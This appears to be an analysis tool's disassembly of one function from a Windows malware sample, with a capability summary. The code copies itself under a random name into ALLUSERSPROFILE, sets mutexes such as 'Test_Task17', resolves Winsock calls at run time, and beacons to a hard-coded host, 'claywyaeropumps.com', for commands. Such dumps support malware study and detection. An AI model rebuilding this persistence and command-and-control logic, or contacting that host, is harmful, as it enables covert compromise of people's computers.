Function at 0x401000
Capabilities:
Copy file
Create directory
Create thread
Enumerate gui resources
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff254
push 0x100
call fcn.00402ce0
lea eax, [eax + 0x300]
push eax
push 0x405bfc
call fcn.004029f4
push 0
push 0xbf4
push str.HOST1:claywyaeropumps.com
call fcn.00402acc
push 0
push 0
push 0x401600
push 0x4014f2
push 0
push 0
call sub.kernel32.dll_CreateThread
push 0x402f2e
call sub.kernel32.dll_SetUnhandledExceptionFilter
mov dword [ebp - 0x9ac], 0
push 0x200
lea eax, [ebp - 0x9a4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
push 0x18
push str.Test_Task17
call fcn.00401a4f
mov dword [ebp - 0x9ac], eax
cmp dword [ebp - 0x9ac], 0
je 0x4010a8
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x9a4]
push eax
call fcn.00402bfe
test eax, eax
jne 0x40126e
push 0x14
push str.Nest_Task
call fcn.00401985
push 0x18
push str.Test_Task17
call fcn.00401985
push 0
push 0x401651
call sub.user32.dll_EnumWindows
push 0
push 0x20
push str.ALLUSERSPROFILE
call fcn.00402acc
push 0x200
lea eax, [ebp - 0x7a4]
push eax
push str.ALLUSERSPROFILE
call sub.kernel32.dll_GetEnvironmentVariableW
push 0
push 0x20
push str.ALLUSERSPROFILE
call fcn.00402acc
cmp dword [ebp - 0x9ac], 0
jne 0x4011b3
lea eax, [ebp - 0x7a4]
push eax
call fcn.00402c6e
lea edi, [eax + ebp - 0x7a4]
mov ax, 0x5c
stosw word es:[edi], ax
push 4
call fcn.00402ce0
lea ebx, [eax + 4]
push 0x18
call fcn.00402ce0
add eax, 0x61
stosw word es:[edi], ax
dec ebx
jne 0x40112e
mov ax, 0x5c
stosw word es:[edi], ax
mov word [edi], 0
push 0
lea eax, [ebp - 0x7a4]
push eax
call sub.kernel32.dll_CreateDirectoryW
push 4
call fcn.00402ce0
lea ebx, [eax + 4]
push 0x18
call fcn.00402ce0
add eax, 0x61
stosw word es:[edi], ax
dec ebx
jne 0x401160
mov ax, 0x2e
stosw word es:[edi], ax
mov ax, 0x65
stosw word es:[edi], ax
mov ax, 0x78
stosw word es:[edi], ax
mov ax, 0x65
stosw word es:[edi], ax
mov eax, 0
stosw word es:[edi], ax
lea eax, [ebp - 0x7a4]
mov dword [ebp - 0x9ac], eax
push 0
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x9a4]
push eax
call sub.kernel32.dll_CopyFileW
jmp 0x40123b
lea eax, [ebp - 0x7a4]
push eax
call fcn.00402c6e
mov edi, dword [ebp - 0x9ac]
lea esi, [ebp - 0x7a4]
mov ecx, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40110b
push dword [ebp - 0x9ac]
call fcn.00402c6e
mov edi, dword [ebp - 0x9ac]
cmp word [eax + edi - 2], 0x65
jne 0x40110b
cmp word [eax + edi - 4], 0x78
jne 0x40110b
cmp word [eax + edi - 6], 0x65
jne 0x40110b
cmp word [eax + edi - 8], 0x2e
jne 0x40110b
mov esi, 0x64
push 0
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x9a4]
push eax
call sub.kernel32.dll_CopyFileW
test eax, eax
jne 0x40123b
dec esi
jne 0x40121b
jmp 0x40110b
push dword [ebp - 0x9ac]
push 0x18
push str.Test_Task17
call fcn.004016d8
push 0xea60
push str.kernel32.dll
call fcn.00402d09
push str.Sleep
push eax
call fcn.00402ddd
call eax
jmp 0x4030f3
push 0xea60
push str.kernel32.dll
call fcn.00402d09
push str.Sleep
push eax
call fcn.00402ddd
call eax
lea eax, [ebp - 0xdac]
push eax
push 0x18
push str.Test_Task17
call fcn.00402acc
lea eax, [ebp - 0xdac]
push eax
push 1
push 0
call sub.kernel32.dll_CreateMutexW
push 0
push eax
push str.kernel32.dll
call fcn.00402d09
push str.WaitForSingleObject
push eax
call fcn.00402ddd
call eax
test eax, eax
jne 0x4030f3
lea eax, [ebp - 0x18e]
push eax
push 0x202
push str.wsock32.dll
call fcn.00402d09
push str.WSAStartup
push eax
call fcn.00402ddd
call eax
mov dword [ebp - 0x9a8], 0x405006
push 6
push 1
push 2
push str.wsock32.dll
call fcn.00402d09
push str.socket
push eax
call fcn.00402ddd
call eax
mov dword [ebp - 0x194], eax
push 0xfa0
push str.wsock32.dll
call fcn.00402d09
push str.htons
push eax
call fcn.00402ddd
call eax
mov word [ebp - 0x1a2], ax
mov word [ebp - 0x1a4], 2
push 0
push 0xffffffffffffffff
push dword [ebp - 0x9a8]
call fcn.00402acc
push dword [ebp - 0x9a8]
call fcn.00402c8d
or eax, eax
je 0x401371
mov eax, dword [ebp - 0x9a8]
jmp 0x401396
push 2
push dword [ebp - 0x9a8]
call fcn.0040283a
push eax
push str.wsock32.dll
call fcn.00402d09
push str.inet_ntoa
push eax
call fcn.00402ddd
call eax
push eax
push str.wsock32.dll
call fcn.00402d09
push str.inet_addr
push eax
call fcn.00402ddd
call eax
push 0
push 0
push dword [ebp - 0x9a8]
call fcn.00402acc
test eax, eax
je 0x4014a2
mov dword [ebp - 0x1a0], eax
push 0x10
lea eax, [ebp - 0x1a4]
push eax
push dword [ebp - 0x194]
push str.wsock32.dll
call fcn.00402d09
push str.connect
push eax
call fcn.00402ddd
call eax
cmp eax, 0xffffffff
je 0x4014a2
push 0
push 4
lea eax, [ebp - 0x9a4]
push eax
push dword [ebp - 0x194]
call fcn.00402762
push 0
push 0xa
lea eax, [ebp - 0x9a4]
push eax
push 0
push dword [ebp - 0x194]
call fcn.00402ba1
lea eax, [ebp - 0x998]
push eax
push 0
push 0
lea eax, [ebp - 0x9a4]
push eax
push 0
push str.wsock32.dll
call fcn.00402d09
push str.select
push eax
call fcn.00402ddd
call eax
test eax, eax
jle 0x4014a2
push 0
push 4
lea eax, [ebp - 0x9a4]
push eax
push dword [ebp - 0x194]
push str.wsock32.dll
call fcn.00402d09
push str.recv
push eax
call fcn.00402ddd
call eax
cmp eax, 4
jne 0x4014a2
push dword [ebp - 0x194]
call fcn.004027f7
push dword [ebp - 0x9a4]
push dword [ebp - 0x9a8]
call fcn.00401ec9
jmp 0x4014cf
cmp dword [ebp - 0x9a8], 0x405006
je 0x4014ba
mov dword [ebp - 0x9a8], 0x405006
jmp 0x4014c4
mov dword [ebp - 0x9a8], 0x40511a
push dword [ebp - 0x194]
call fcn.004027f7
push 0xea60
push str.kernel32.dll
call fcn.00402d09
push str.Sleep
push eax
call fcn.00402ddd
call eax
jmp 0x4012fc
push 0
call sub.kernel32.dll_ExitProcess